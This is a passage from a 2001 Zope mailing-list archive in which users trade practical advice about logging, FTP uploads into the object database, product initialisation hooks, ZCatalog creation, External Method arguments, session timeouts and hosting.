appreciated! TIA, BenO From troy.farrell@wcg.com Thu May 10 16:14:03 2001 From: troy.farrell@wcg.com (Farrell, Troy) Date: Thu, 10 May 2001 10:14:03 -0500 Subject: [Zope] Newbie question: web logging Message-ID: ZServer produces a logfile at ZOPE_HOME/var/Z2.log Troy -----Original Message----- From: Arian de Wit [mailto:adewit@niwa.cri.nz] Sent: Thursday, May 10, 2001 12:47 AM To: zope@zope.org Subject: [Zope] Newbie question: web logging Hi All, Perhaps this is a silly question, but here it is anyway, since I couldn't readily find anything about it in the documentation. Is it possible to get ZServer to produce a web traffic log which we could then analyse in a similar fashion to standard http logs like those of Apache or IIS? Many thanks, Arian ------------------------------------------------------------------ Arian de Wit, MSc(Hons), i-Net+, MCSE Information Systems Integration Manager NIWA (National Institute of Water & Atmospheric Research) Gate 10 Silverdale Road, Box 11-115, Hamilton, New Zealand Phone (+64) 7-856 1769 Fax (+64) 7-856 0151 Web http://www.niwa.cri.nz ------------------------------------------------------------------ _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Thu May 10 16:13:20 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 10 May 2001 17:13:20 +0200 Subject: [Zope] Two Questions: One Easy, One Not In-Reply-To: <5.0.2.1.0.20010510073123.00a08710@thewebsons.com> References: <5.0.2.1.0.20010510073123.00a08710@thewebsons.com> Message-ID: <12910724.989514800@BUZZER> Hi Ben, unlike other web-servers, zope does not use a file-system for "folders" and documents. It has a database system in which the objects are stored. This is much like your try to access your RDBMS and hope you can select some files on your database server via SQL ;) IF you want to use your images from zope, you have to import them into its database. You can do it via web-interface or via FTP or (Web-)DAV (the latter works somewhat with Internetexplorer Webfolder feature) 2) Zope spawns serveral processes, thats normal. You find their process-ids (at least the ones of the parents) in var/Z2.pid Regards Tino Wildenhain --On Donnerstag, 10. Mai 2001 07:39 -0700 Ben Ocean wrote: > Hi; > > The easy question: I have all sorts of images on my server that I want to > copy into the appropriate folder in my Zope installation so that they can > appear on the site that I am building with Zope. Trouble is, I can't find > the folder, even when I walk the directory tree. Where does Zope put the > folders I create and what does it call them? Is it possible to do what I > want to do? > > The not-so-easy question: For some reason my Zope server dies regularly. > I have root access on my RH6.2 box. When I run a process table, it > appears that Zope is spawning several processes. In reality, if I try to > kill the processes, I find that they're not active (nothing to kill). > However, when Zope dies, all the *processes* die with it. I'm no > programming guru, so any suggestions would be appreciated! > > TIA, > BenO > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From zope@thewebsons.com Thu May 10 16:01:00 2001 From: zope@thewebsons.com (Ben Ocean) Date: Thu, 10 May 2001 08:01:00 -0700 Subject: [Zope] Two Questions: One Easy, One Not In-Reply-To: <12910724.989514800@BUZZER> References: <5.0.2.1.0.20010510073123.00a08710@thewebsons.com> <5.0.2.1.0.20010510073123.00a08710@thewebsons.com> Message-ID: <5.0.2.1.0.20010510075851.00a0fec0@thewebsons.com> At 05:13 PM 5/10/2001 +0200, you wrote: >IF you want to use your images from zope, you have to import >them into its database. You can do it via web-interface >or via FTP or (Web-)DAV (the latter works somewhat with >Internetexplorer Webfolder feature) So, clearly, I need to put my Zope installation on the doc root. For some reason (I presume security), I had put it below the doc root. Is security a concern? >2) Zope spawns serveral processes, thats normal. You find >their process-ids (at least the ones of the parents) in >var/Z2.pid Yeah, I noticed that. But why does the server quit serving and need to be restarted? How do I track this problem? Thanks, BenO From jan@itmeedia.ee Thu May 10 15:44:58 2001 From: jan@itmeedia.ee (Jan) Date: Thu, 10 May 2001 17:44:58 +0300 Subject: [Zope] Product event when zope restarts References: <015601c0d956$bf68b8a0$150aa8c0@amphora.ee> <11584790.989513475@BUZZER> Message-ID: <018a01c0d95f$cc9c74e0$150aa8c0@amphora.ee> That is a very good idea, only there seems to be no function where I could do so.. The properties of my product are accessed directly like so no function is executed. The getProperty is only executed when watching the property list. :( > what about using stat() on the file to check if it has changed and > reread in that event? Make sure you reread only for the current > access. > > Yes. As I wrote, the product BASICALLY does this. Actually it reads the > > file, parses it and shows it's contents in the properties tab. When I > > write something like then I can access a > > part of the file. From list.zope@joppa.cix.co.uk Thu May 10 16:48:00 2001 From: list.zope@joppa.cix.co.uk (Derek Hoy) Date: Thu, 10 May 2001 16:48 +0100 (BST) Subject: [Zope] Two Questions: One Easy, One Not In-Reply-To: <5.0.2.1.0.20010510075851.00a0fec0@thewebsons.com> Message-ID: BenO wrote: > >IF you want to use your images from zope, you have to import > >them into its database. You can do it via web-interface > >or via FTP or (Web-)DAV (the latter works somewhat with > >Internetexplorer Webfolder feature) > > So, clearly, I need to put my Zope installation on the doc root. For some > reason (I presume security), I had put it below the doc root. Is security a > concern? No, you can ftp to zope itself- just ftp to the right port number, eg 8021. It's in the logging information you get when Zope starts. > >2) Zope spawns serveral processes, thats normal. You find > >their process-ids (at least the ones of the parents) in > >var/Z2.pid > > Yeah, I noticed that. But why does the server quit serving and need to be > restarted? How do I track this problem? There was a bug with a recent version- I had the same problem, but the latest version seems to have it fixed. Derek d.hoy at gcal.ac.uk From sean.upton@uniontrib.com Thu May 10 17:02:59 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Thu, 10 May 2001 09:02:59 -0700 Subject: [Zope] Two Questions: One Easy, One Not Message-ID: Your zope installation can be put where you decide you want to put it. You can even just decide, if you feel so inclined to just run it as a normal user in your personal UNIX home directory. As long as file permissions are set up in a manner so that the user you have Zope running under has permissions to read and execute stuff in Zope's lib/ directory, and that there are permissions to write to files in Zope's var/ dir. Keep in mind that everything you put into Zope, for the most part, resides in the object database, which is a single file called data.fs, always open for reading and writing while Zope is started. Your Zope installtion has nothing to do with your Apache document root, and can be put anywhere on the file system (and inside the doc root is obviously not a good idea). You can then access Zope either directly with its builtin web server (ZServer), or use Apache via PCGI or mod_proxy (proxying to Zope's builtin web server) as a front end to Zope. Zope's ZServer has a built-in FTP server, and supports Web-DAV and XML-RPC through its web server. What you actually ftp to is not your UNIX filesystem, but the hierarchy of the Zope object database presented as a filesystem. As for getting images into a database, consider looking into a python script called "loadSite.py" - it loads a site hierarchy from a file system and puts it into the ODB: http://www.zope.org/Members/itamar/load_site Sean -----Original Message----- From: Ben Ocean [mailto:zope@thewebsons.com] Sent: Thursday, May 10, 2001 8:01 AM To: Tino Wildenhain Cc: zope@zope.org Subject: Re: [Zope] Two Questions: One Easy, One Not At 05:13 PM 5/10/2001 +0200, you wrote: >IF you want to use your images from zope, you have to import >them into its database. You can do it via web-interface >or via FTP or (Web-)DAV (the latter works somewhat with >Internetexplorer Webfolder feature) So, clearly, I need to put my Zope installation on the doc root. For some reason (I presume security), I had put it below the doc root. Is security a concern? >2) Zope spawns serveral processes, thats normal. You find >their process-ids (at least the ones of the parents) in >var/Z2.pid Yeah, I noticed that. But why does the server quit serving and need to be restarted? How do I track this problem? Thanks, BenO _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Thu May 10 17:08:41 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 12:08:41 -0400 Subject: [Zope] Product event when zope restarts References: <012e01c0d954$d6a08c20$150aa8c0@amphora.ee> Message-ID: <01da01c0d96b$7b5c2ba0$8e17a8c0@kurtz> Hook sys.exitfunc to have something happen every time Zope is shut down. ----- Original Message ----- From: Jan To: zope@zope.org Sent: Thursday, May 10, 2001 9:26 AM Subject: [Zope] Product event when zope restarts Hello all! I have been developing a Zope Product that basically reads in a file and shows it in zope. The problem is that when the file is updated in file system, that is not updated in zope. I do not want it to read the file every time it is accessed in zope. Refreshing it every time the zope restarts seems to be the solution. So I was wondering if there is a function that will be executed when zope restarts. Thanx. From andym@ActiveState.com Thu May 10 16:50:40 2001 From: andym@ActiveState.com (Andy McKay) Date: Thu, 10 May 2001 08:50:40 -0700 Subject: [Zope] History of DC and/or Zope References: <000001c0d910$b9723e30$abcc4e18@cr582427a> <3AFA79F8.6354DCE7@bic.ch> Message-ID: <003101c0d96b$a71a2350$abcc4e18@cr582427a> Thanks, I had read that one but couldnt find it again. Now I have it bookmarked :) Cheers. -- Andy McKay ----- Original Message ----- From: "Flynt" To: "Andy McKay" Cc: Sent: Thursday, May 10, 2001 4:22 AM Subject: Re: [Zope] History of DC and/or Zope > Hi Andy > > Did you see the following document ? > > http://www.zope.org/Members/paul/BusinessDecision > > HTH > > Flynt > > > > > Andy McKay wrote: > > > > I'm looking for any documents about the history and beginning of Zope. > > (Searches on Zope.org have turned up nothing so far, still searching) > > > > I'm giving an intro to Zope talk to developers and wanted to quickly cover > > the history of Zope / DC etc. If there any suitable talks on this topic, > > pointers to those would be appreciated too :) > > > > Thanks. > > > > -- > > Andy McKay > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From andym@ActiveState.com Thu May 10 17:18:58 2001 From: andym@ActiveState.com (Andy McKay) Date: Thu, 10 May 2001 09:18:58 -0700 Subject: [Zope] Two Questions: One Easy, One Not References: Message-ID: <004701c0d96c$eae00860$ae03a8c0@activestate.com> I would also recommend looking at LocalFS which call files straight from the filesystem. It doesnt allow all the power and flexibility of loading it into Zope, but for large amounts of images etc works fine. This might confuse things a little though. Cheers. -- Andy McKay. From andym@ActiveState.com Thu May 10 17:21:09 2001 From: andym@ActiveState.com (Andy McKay) Date: Thu, 10 May 2001 09:21:09 -0700 Subject: [Zope] Product event when zope restarts References: <012e01c0d954$d6a08c20$150aa8c0@amphora.ee> Message-ID: <006601c0d96d$38da7f00$ae03a8c0@activestate.com> If you really need to do that doesnt __init__ get called at every restart? You could in theory (I dont know how though do something there). Reading from a file is not a big hit, I would go with Casey's suggestion and cache when it was last changed. Cheers. -- Andy McKay. From scott.meilicke@intp.com Thu May 10 17:17:39 2001 From: scott.meilicke@intp.com (Meilicke, Scott) Date: Thu, 10 May 2001 09:17:39 -0700 Subject: [Zope] silly IE display question - manage screens showing 'vi ew', not contents Message-ID: I don't - I have a laptop on win2k, and usually just 'Hibernate' - suspend to disk, instead of shutting down and restarting in the morning. I performed an update via windowsupdate.microsoft.com a few days ago and did not reboot when prompted because I was in the middle of something. I rebooted this morning, and it works fine now. For what it's worth, I'm currently running IE 5.5, sp1, version 5.50.4522.1800. Oddly enough I had the same problem last night with Netscape - once. Unfortunately I don't remember exactly what I did to correct it, but my site prompted me to log in again via a windows logon window, not the usual web logon. Sorry I didn't write down exactly what I did... Thanks for the help. Scott -----Original Message----- From: Chris McDonough [mailto:chrism@digicool.com] Sent: Thursday, May 10, 2001 5:54 AM To: Chris Withers Cc: Meilicke, Scott; zope@zope.org Subject: Re: [Zope] silly IE display question - manage screens showing 'view', not contents Do you know what version it is via "About" so we can pin down the problem to specific versions? ----- Original Message ----- From: "Chris Withers" To: "Chris McDonough" Cc: "Meilicke, Scott" ; Sent: Thursday, May 10, 2001 4:48 AM Subject: Re: [Zope] silly IE display question - manage screens showing 'view', not contents > Chris McDonough wrote: > > > > Hi Scott... this is a known bug in some versions of IE 5.5. Upgrade > > your browser to the latest IE and it will go away. > > Someone here is still having this problem with the latest-and-greatest IE Sp2 > :-( > > Chris > > (the web is dead, long live the OODB and a dedicated fat client ;-) > From tino@wildenhain.de Thu May 10 17:34:05 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 10 May 2001 18:34:05 +0200 Subject: [Zope] Product event when zope restarts In-Reply-To: <018a01c0d95f$cc9c74e0$150aa8c0@amphora.ee> References: <018a01c0d95f$cc9c74e0$150aa8c0@amphora.ee> Message-ID: <1090646.989519645@BUZZER> Hi Jan, With python, you can override subobjects access. For example, you can give your class a __getattr__() method to call a function every time an attribute is accessed. HTH Tino Wildenhain PS: the other approach would be to send the file each time it is generated into zope from the application which generates the file --On Donnerstag, 10. Mai 2001 17:44 +0300 Jan wrote: > That is a very good idea, only there seems to be no function where I could > do so.. > The properties of my product are accessed directly like "myProduct.property1"> so no function is executed. The getProperty is only > executed when watching the property list. :( > >> what about using stat() on the file to check if it has changed and >> reread in that event? Make sure you reread only for the current >> access. >> > Yes. As I wrote, the product BASICALLY does this. Actually it reads the >> > file, parses it and shows it's contents in the properties tab. When I >> > write something like then I can access > a >> > part of the file. > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From sean.upton@uniontrib.com Thu May 10 18:03:16 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Thu, 10 May 2001 10:03:16 -0700 Subject: [Zope] Create object inside newly created container? Message-ID: Inside a python product, I have a class that subclasses OFS:Folder, and upon TTW instatiation of this object, I want to have a ZCatalog instance called 'Catalog' created within this new folder. Is the appropriate place to put code to do this within the class __init__() or within the module's manage_add...() method? What would one use to obtain the namespace of a newly created object after it is set in the ODB via _setObject()? I assume that after calling _setObject() in manage_add...(), that one could traverse into the namespace of that object, and call manage_addProduct['ZCatalog'].manage_addZCatalog()... Any thoughts? Sean ========================= Sean Upton Senior Programmer/Analyst SignOnSanDiego.com The San Diego Union-Tribune 619.718.5241 sean.upton@uniontrib.com ========================= From webmaven@lvcm.com Thu May 10 18:02:33 2001 From: webmaven@lvcm.com (Michael Bernstein) Date: Thu, 10 May 2001 10:02:33 -0700 Subject: [Zope] History of DC and/or Zope References: <000001c0d910$b9723e30$abcc4e18@cr582427a> Message-ID: <3AFAC9A9.396562A5@lvcm.com> Andy McKay wrote: > > I'm looking for any documents about the history and beginning of Zope. > (Searches on Zope.org have turned up nothing so far, still searching) > > I'm giving an intro to Zope talk to developers and wanted to quickly cover > the history of Zope / DC etc. If there any suitable talks on this topic, > pointers to those would be appreciated too :) http://lwn.net/1998/1203/digicool.phtml http://classic.zope.org:8080/Information/History http://www.zope.org/Members/paul/BusinessDecision HTH, Michael Bernstein. From tino@wildenhain.de Thu May 10 18:23:02 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 10 May 2001 19:23:02 +0200 Subject: [Zope] Create object inside newly created container? In-Reply-To: References: Message-ID: <4027871.989522582@BUZZER> Hi Sean, --On Donnerstag, 10. Mai 2001 10:03 -0700 sean.upton@uniontrib.com wrote: > Inside a python product, I have a class that subclasses OFS:Folder, and > upon TTW instatiation of this object, I want to have a ZCatalog instance > called 'Catalog' created within this new folder. Is the appropriate > place to put code to do this within the class __init__() or within the > module's manage_add...() method? What would one use to obtain the > namespace of a newly created object after it is set in the ODB via > _setObject()? > > I assume that after calling _setObject() in manage_add...(), that one > could traverse into the namespace of that object, and call > manage_addProduct['ZCatalog'].manage_addZCatalog()... Most of the zope code uses _getObject() directly after _setObject() to get the newly added object. Regards Tino From tmoore@tembel.org Thu May 10 18:24:32 2001 From: tmoore@tembel.org (Tim Moore) Date: 10 May 2001 17:24:32 +0000 Subject: [Zope] Re: ZCatalog & resource not found error In-Reply-To: Chris McDonough's message of "Wed, 09 May 2001 20:02:38 -0400" References: <84vgnarv9h.fsf@challah.msrl.com> <3AF9DA9E.FC387FB6@digicool.com> Message-ID: <84u22t3ynj.fsf@challah.msrl.com> No, I'm afraid that's not it...the code below gives an attribute error, and I have other scripts where I call getObject on a brain object and have no problems...I think this and a few other methods on the brain objects were added in Zope 2.3. Even this fails: results = container.Catalog(meta_type='Broadcast', getStartTime=DateTime(), getStartTime_usage='range:min', sort_on='getStartTime') result = results[0] return result And the strange thing is that it's failing on the last line (i.e., the return statement). If I change that line to return a dummy string then there's no problem. I could swear that I had something analogous to this working before...is there a bug? I tried upgrading to 2.3.2, but that hasn't helped. :-( Chris McDonough writes: > The objects returned in the sequence returned from > Catalog.searchResults are "brain" objects. These objects have no > default representation. This may be what you're looking to do: > > results = container.Catalog(meta_type='Broadcast', > getStartTime=DateTime(), > getStartTime_usage='range:min', > sort_on='getStartTime') > > result = results[0] > return container.Catalog.getObject(result) > > Tim Moore wrote: > > > > This python script: > > > > > > return results[0] > > > > produces this error when I click the 'Test' tab: > > > > Zope has encountered an error while publishing this resource. > > > > Resource not found > > > > Sorry, the requested Zope resource does not exist. > > Check the URL and try again. > > > > If I take the [0] part off and have it return the whole results list, > > I have no problems (it returns a list with two items). Weird. > > > > Any clues? (Zope 2.3.1 (binary release, python 1.5.2, win32-x86)) > > -- > > Tim Moore > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > -- Tim Moore From cduncan@kaivo.com Thu May 10 18:27:14 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 10 May 2001 11:27:14 -0600 Subject: [Zope] Create object inside newly created container? References: Message-ID: <3AFACF72.20FF4428@kaivo.com> sean.upton@uniontrib.com wrote: > > Inside a python product, I have a class that subclasses OFS:Folder, and upon > TTW instatiation of this object, I want to have a ZCatalog instance called > 'Catalog' created within this new folder. Is the appropriate place to put > code to do this within the class __init__() or within the module's > manage_add...() method? What would one use to obtain the namespace of a > newly created object after it is set in the ODB via _setObject()? IMHO the instantiation should be done in __init__ instead of the manage_add... method so that if you subclass it, you retain this behavior in the subclasses. > I assume that after calling _setObject() in manage_add...(), that one could > traverse into the namespace of that object, and call > manage_addProduct['ZCatalog'].manage_addZCatalog()... To instanciate ZCatalog in your product: from Products.ZCatalog.ZCatalog import ZCatalog from OFS.Folder import Folder class MyClass(Folder): def __init__(self, id, title=''): catalog = ZCatalog('Catalog') self._setObject('Catalog', catalog) > > Any thoughts? > > Sean > hth -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From zope@thewebsons.com Thu May 10 18:25:10 2001 From: zope@thewebsons.com (Ben Ocean) Date: Thu, 10 May 2001 10:25:10 -0700 Subject: [Zope] Two Questions: One Easy, One Not In-Reply-To: References: <5.0.2.1.0.20010510075851.00a0fec0@thewebsons.com> Message-ID: <5.0.2.1.0.20010510102256.00a09e90@thewebsons.com> At 04:45 PM 5/10/2001 +0100, you wrote: >No, you can ftp to zope itself- just ftp to the right port number, eg 8021. >It's in the logging information you get when Zope starts. Hmmm. Stupid question, but how exactly do I do that? In my WS_FTP client, I enter *thewebsons.com:8021* and I see my doc root. How do I upload these images into the Zope database? >There was a bug with a recent version- I had the same problem, but the latest >version seems to have it fixed. Thanks. I've installed the newest distro. I'll report if there's a problem. TIA, BenO From dieter@handshake.de Wed May 9 21:02:19 2001 From: dieter@handshake.de (Dieter Maurer) Date: Wed, 9 May 2001 22:02:19 +0200 (CEST) Subject: [Zope] External method default arg weirdness In-Reply-To: <3AF98B27.788D2D61@yahoo.com> References: <15096.16266.317370.302060@lindm.dm> <3AF98B27.788D2D61@yahoo.com> Message-ID: <15097.41547.405033.520761@lindm.dm> Paul Winkler writes: > Uhhh... duh, you're right. The methods I was actually using have > "self" as first parameter. > > But I don't understand why that affects the rest of the > parameters??? Very un-pythonic. I agree. The more modern Python scripts solve the same problem much better. The motivation for this "feature": Often External Methods should behave like methods. Sometimes, they should not. The implementers used the following heuristics to distinguish between these two cases: First, it is tried to call the method with the parameters provided. If this raises a "TypeError" and the first parameter is called "self", then the call is retried, this time with "aq_parent" as first parameter. This magic works only, if the method is called with precisely one parameter less then the required arguments. It breaks very likely, when there are default parameters. In this case, you need to pass the "self" parameter explicitly and can not count on the magic. Dieter From dan@caliginous.com Thu May 10 18:29:59 2001 From: dan@caliginous.com (Dan Jacobs) Date: Thu, 10 May 2001 18:29:59 +0100 (BST) Subject: [Zope] Zope hosting companies in the UK. Message-ID: Hi All, I've recently fallen in love with zope, using it for 2 large charity projects I am doing in my free time. Does anyone know of any zope hosting companies based in the UK and/or do you think there would be demand for such a monster? Regards, Dan From tino@wildenhain.de Thu May 10 18:32:21 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 10 May 2001 19:32:21 +0200 Subject: [Zope] Two Questions: One Easy, One Not In-Reply-To: <5.0.2.1.0.20010510102256.00a09e90@thewebsons.com> References: <5.0.2.1.0.20010510102256.00a09e90@thewebsons.com> Message-ID: <4586386.989523140@BUZZER> Hi Ben, --On Donnerstag, 10. Mai 2001 10:25 -0700 Ben Ocean wrote: > At 04:45 PM 5/10/2001 +0100, you wrote: >> No, you can ftp to zope itself- just ftp to the right port number, eg >> 8021. It's in the logging information you get when Zope starts. > > Hmmm. Stupid question, but how exactly do I do that? In my WS_FTP client, > I enter *thewebsons.com:8021* and I see my doc root. How do I upload > these images into the Zope database? Doc root? You may see your root-folder objects subobjects in a file/folder representation. So, make a directory (which results in creation of a folder-object in zope object database) and change into it and then upload your images. Zope will create object from images then. HTH Tino Wildenhain >> There was a bug with a recent version- I had the same problem, but the >> latest version seems to have it fixed. > > Thanks. I've installed the newest distro. I'll report if there's a > problem. TIA, > BenO > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From jeffr@odeon.net Thu May 10 18:48:07 2001 From: jeffr@odeon.net (jeffr@odeon.net) Date: Thu, 10 May 2001 12:48:07 -0500 (CDT) Subject: [Zope] Two Questions: One Easy, One Not In-Reply-To: <5.0.2.1.0.20010510102256.00a09e90@thewebsons.com> Message-ID: If you mean you see your Zope root, then just make a folder and put them there. You're in the ZODB. If you mean you see your Apache (or other web server) root, then there is something strange going on, as Zope can't give you access to that (without something like the LocalFS product). If this is the case, then I'd suspect that your WS_FTP client isn't using the port number properly and you're actually connecting to the 'regular' ftp daemon on your box rather than Zope on port 8021. Jeff On Thu, 10 May 2001, Ben Ocean wrote: > At 04:45 PM 5/10/2001 +0100, you wrote: > >No, you can ftp to zope itself- just ftp to the right port number, eg 8021. > >It's in the logging information you get when Zope starts. > > Hmmm. Stupid question, but how exactly do I do that? In my WS_FTP client, I > enter *thewebsons.com:8021* and I see my doc root. How do I upload these > images into the Zope database? > > >There was a bug with a recent version- I had the same problem, but the latest > >version seems to have it fixed. > > Thanks. I've installed the newest distro. I'll report if there's a problem. > TIA, > BenO > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From Larry_Prikockis@ABI.org Thu May 10 19:36:12 2001 From: Larry_Prikockis@ABI.org (Larry Prikockis) Date: Thu, 10 May 2001 14:36:12 -0400 Subject: [Zope] listservs, forums and Zope... Message-ID: Hi... I'm wondering if anyone has done anything along the lines of creating an interface between an email list product such as listserv or majordomo and Zope... I'm setting up a small intranet site using Zope and trying to figure out if there's an easy way to integrate our existing majordomo lists with the new Zope site. If one of the Zope forum products had an option for email notification, that would go a long way towards solving the problem-- but it doesn't seem like any provide this function at present. Alternatively, if there were a product that could accept an email message and create a message archive (ala hypermail), that would be great too... I'm not yet familiar with Zope and python to create something like this myself easily, but it seems to be a fairly simple thing. any ideas would be appreciated... Larry + Larry J. Prikockis Web Applications Specialist Association for Biodiversity Information 703-908-1833 / larry_prikockis@abi.org / www.abi.org + All parts should go together without forcing. You must remember that the parts you are reassembling were disassembled by you. Therefore, if you can't get them together again, there must be a reason. By all means, do not use a hammer. -- IBM maintenance manual, 1925 From cpgray@library.uwaterloo.ca Thu May 10 19:34:58 2001 From: cpgray@library.uwaterloo.ca (Chris Gray) Date: Thu, 10 May 2001 14:34:58 -0400 (EDT) Subject: [Zope] Whatever happened to ... SQL Relay? Message-ID: Does anyone know what happened to SQL Relay? The Sourceforge site says that the project moved back to www.firstworks.com but DNS searches say that that host doesn't exist. Chris From zope@thewebsons.com Thu May 10 18:41:32 2001 From: zope@thewebsons.com (Ben Ocean) Date: Thu, 10 May 2001 10:41:32 -0700 Subject: [Zope] Two Questions: One Easy, One Not In-Reply-To: Message-ID: <5.0.2.1.0.20010510103856.009f25b0@thewebsons.com> At 09:02 AM 5/10/2001 -0700, you wrote: >As for getting images into a database, consider looking into a python script >called "loadSite.py" - it loads a site hierarchy from a file system and puts >it into the ODB: http://www.zope.org/Members/itamar/load_site Cool! But where do I put it? The instructions don't appear to address this issue (I couldn't find any installation instructions). Do I put it in my Products directory? It doesn't seem to be a product per se, so should I put it in my python1.5 directory? Please advise. TIA, BenO From chrism@digicool.com Thu May 10 19:44:34 2001 From: chrism@digicool.com (Chris McDonough) Date: Thu, 10 May 2001 14:44:34 -0400 Subject: [Zope] Re: ZCatalog & resource not found error References: <84vgnarv9h.fsf@challah.msrl.com> <3AF9DA9E.FC387FB6@digicool.com> <84u22t3ynj.fsf@challah.msrl.com> Message-ID: <035901c0d981$428d50e0$8e17a8c0@kurtz> You say it gives an attribute error... what is the attribute error? In any case, neither method definition you've provided will be very useful if exercised from the Test tab. Is that still how you're doing it? Or are you calling it from a DTML method? What is the whole calling sequence and how is the object that gets returned from this script used? ----- Original Message ----- From: "Tim Moore" To: Sent: Thursday, May 10, 2001 1:24 PM Subject: [Zope] Re: ZCatalog & resource not found error > > No, I'm afraid that's not it...the code below gives an attribute > error, and I have other scripts where I call getObject on a brain > object and have no problems...I think this and a few other methods on > the brain objects were added in Zope 2.3. > > Even this fails: > > results = container.Catalog(meta_type='Broadcast', > getStartTime=DateTime(), > getStartTime_usage='range:min', > sort_on='getStartTime') > result = results[0] > return result > > And the strange thing is that it's failing on the last line (i.e., the > return statement). If I change that line to return a dummy string > then there's no problem. > > I could swear that I had something analogous to this working > before...is there a bug? I tried upgrading to 2.3.2, but that hasn't > helped. :-( > > Chris McDonough writes: > > > The objects returned in the sequence returned from > > Catalog.searchResults are "brain" objects. These objects have no > > default representation. This may be what you're looking to do: > > > > results = container.Catalog(meta_type='Broadcast', > > getStartTime=DateTime(), > > getStartTime_usage='range:min', > > sort_on='getStartTime') > > > > result = results[0] > > return container.Catalog.getObject(result) > > > > Tim Moore wrote: > > > > > > This python script: > > > > > > > > > return results[0] > > > > > > produces this error when I click the 'Test' tab: > > > > > > Zope has encountered an error while publishing this resource. > > > > > > Resource not found > > > > > > Sorry, the requested Zope resource does not exist. > > > Check the URL and try again. > > > > > > If I take the [0] part off and have it return the whole results list, > > > I have no problems (it returns a list with two items). Weird. > > > > > > Any clues? (Zope 2.3.1 (binary release, python 1.5.2, win32-x86)) > > > -- > > > Tim Moore > > > > > > _______________________________________________ > > > Zope maillist - Zope@zope.org > > > http://lists.zope.org/mailman/listinfo/zope > > > ** No cross posts or HTML encoding! ** > > > (Related lists - > > > http://lists.zope.org/mailman/listinfo/zope-announce > > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > > -- > Tim Moore > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From renfro@tntech.edu Thu May 10 19:42:39 2001 From: renfro@tntech.edu (Mike Renfro) Date: Thu, 10 May 2001 13:42:39 -0500 Subject: [Zope] listservs, forums and Zope... In-Reply-To: ; from Larry_Prikockis@ABI.org on Thu, May 10, 2001 at 02:36:12PM -0400 References: Message-ID: <20010510134239.B30609@ch208d.cae.tntech.edu> On Thu, May 10, 2001 at 02:36:12PM -0400, Larry Prikockis wrote: > I'm wondering if anyone has done anything along the lines of creating an > interface between an email list product such as listserv or majordomo and > Zope... Don't know what it'll do for you exactly, but check out http://www.zope.org/Members/NIP/ZMailIn -- Mike Renfro / R&D Engineer, Center for Manufacturing Research, 931 372-3601 / Tennessee Technological University -- renfro@tntech.edu From jojo@farm9.com Thu May 10 19:54:49 2001 From: jojo@farm9.com (Joh Johannsen) Date: Thu, 10 May 2001 11:54:49 -0700 Subject: [Zope] CoreSessionTracking timeout question Message-ID: <3AFAE3F9.F17C8ED@farm9.com> I've got an Internal Session Data Container timeout set 30 minutes, but occasionally I will start a new session, and all the session data disappears after a couple minutes. The way I understand it, any time I access session data, that 30 minute timer starts again. Is there something I'm doing wrong here? Thanks, JJ From jwb@imeme.net Thu May 10 15:03:49 2001 From: jwb@imeme.net (Jake Berglund) Date: Thu, 10 May 2001 10:03:49 -0400 Subject: [Zope] Zope hosting companies in the UK. References: Message-ID: <3AFA9FC5.6020702@imeme.net> Hello, Dan Jacobs wrote: > Does anyone know of any zope hosting companies based in the UK and/or do > you think there would be demand for such a monster? NIP 